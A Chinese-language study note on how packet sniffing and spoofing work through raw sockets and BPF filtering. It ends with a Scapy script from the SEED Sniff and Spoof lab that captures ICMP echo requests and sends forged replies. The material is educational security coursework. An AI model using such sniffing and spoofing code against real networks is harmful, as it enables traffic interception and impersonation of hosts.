嗅探
程序接收數據包的過程:
1.數據包在傳播介質中流動時,網絡中的每個網卡都能收到所有的數據幀,這些數據幀會被復制到網卡的內存中,然后檢查目的MAC地址,是否為自己的MAC地址,是,則會通過直接存儲器(DMA)的方式被復制到操作系統內核的緩存中,否則拒絕接收。然后網卡會以中斷的方式告訴CPU,接收到了新數據,CPU會將這些數據從緩存復制到一個隊列中(鏈路層驅動),為新數據的到來騰出空間。
2.然后通過協議棧,檢查網絡層頭部,目的IP地址,目的IP地址不是自己的IP,會進行丟棄,在檢查傳輸層的目的端口,交給相應的程序。會依次去掉各層的頭部,交給程序的是數據部分。
如下圖:
Q: Sniffer程序位於用戶空間部分,想觀察到完整的(包含首部信息)、未經處理的、沒有進行丟棄的數據包,怎么辦?
A: OS內核 為嗅探程序 提供了 一個Raw Socket API ,當數據包到達鏈路層驅動位置,會進行復制,通過raw socket 交給嗅探程序,如果有多個嗅探程序,會復制多份,分別交付。如下圖:
Sniffer程序並不需要獲得所有的報文,可能只需要獲得其中的一小部分報文,比如UDP報文,這里就需要進行過濾,UNIX系統添加了一個BSD 數據包過濾器(BSD packet filter,BPF),如下圖:
Q:為什么不在Sniffer程序處過濾,而在OS內核里面進行過濾?
A: 可以節省資源,在數據包復制之前進行過濾,之后進行復制的數據包相應大大減少。
注意:Sniffer程序,嗅探的是收包的過程。(站在攻擊者的角度)
偽造
正常的應用程序 僅僅向OS 內核提供數據,目的IP地址,目的端口等信息,其他構造數據包的過程都交給OS內核去完成,而不能隨意的去構造各個包頭。與嗅探一樣,這列也可用raw socket API,進行數據包的構造,然后交給下層,發送出去。如下圖:
注意:該圖是簡化的圖,大體理解一下過程,沒有具體提及OS內核中的鏈路層操作。
另外,進行偽造,一般是發包的過程。(站在攻擊者的角度)
SEED Sniff and Spoof lab:
from scapy.all import *
def spoof_pkt(pkt):
if ICMP in pkt and pkt[ICMP].type==8:
print("Original Packet...")
print("Source IP:",pkt[IP].src)
print("Destination IP:",pkt[IP].dst)
ip = IP(src=pkt[IP].dst,dst=pkt[IP].src,ihl=pkt[IP].ihl)
ip.ttl = 99
icmp = ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)
if pkt.haslayer(Raw):
data = pkt[Raw].load
newpkt = ip/icmp/data
else:
newpkt = ip/icmp
print("Spoof Packet...")
print("Source IP: ",newpkt[IP].src)
print("Destination IP:",newpkt[IP].dst)
send(newpkt,verbose=0)
pkt=sniff(filter='icmp and src host 10.0.2.4',prn = spoof_pkt)
具體實驗指導書,可見:https://seedsecuritylabs.org/